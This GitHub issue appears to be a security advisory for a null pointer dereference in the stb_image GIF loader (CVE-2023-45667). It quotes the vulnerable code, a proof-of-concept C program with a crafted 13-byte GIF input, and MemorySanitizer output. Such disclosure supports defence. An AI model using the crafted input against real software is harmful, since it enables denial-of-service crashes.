stb icon indicating copy to clipboard operation
stb copied to clipboard

Null pointer dereference because of an uninitialized variable (`GHSL-2023-151/CVE-2023-45667`)

Open JarLob opened this issue 1 year ago • 0 comments

If stbi__load_gif_main in stbi_load_gif_from_memory [1] fails it returns a null pointer and may keep the z variable uninitialized. In case the caller also sets the flip vertically flag [2], it continues and calls stbi__vertical_flip_slices [3] with the null pointer result value and the uninitialized z value.

STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   unsigned char *result;
   stbi__context s;
   stbi__start_mem(&s,buffer,len);

   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); // [1]
   if (stbi__vertically_flip_on_load) { // [2]
      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); // [3]
   }

   return result;
}

It depends on the value of z [4] if the program enters the loop and attempts to dereference the null pointer value in stbi__vertical_flip [5].

static void stbi__vertical_flip_slices(void *image, int w, int h, int z, int bytes_per_pixel)
{
   int slice;
   int slice_size = w * h * bytes_per_pixel;

   stbi_uc *bytes = (stbi_uc *)image;
   for (slice = 0; slice < z; ++slice) { // [4]
      stbi__vertical_flip(bytes, w, h, bytes_per_pixel); // [5]
      bytes += slice_size;
   }
}

Impact

This issue may lead to denial of service.

Resources

To reproduce the issue in stbi__vertical_flip_slices:

  1. Make MSAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x35,0xff};
    size_t size = sizeof(data);

    stbi_set_flip_vertically_on_load(1);
    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Set breakpoint at line 1251 in stbi__vertical_flip_slices and run the program to hit the usage of the uninitialized memory.
==292219==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x4b0ad6 in stbi__vertical_flip_slices(void*, int, int, int, int) tests/../stb_image.h:1251:4
    #1 0x4ad19e in stbi_load_gif_from_memory tests/../stb_image.h:1450:7

JarLob avatar Oct 19 '23 14:10 JarLob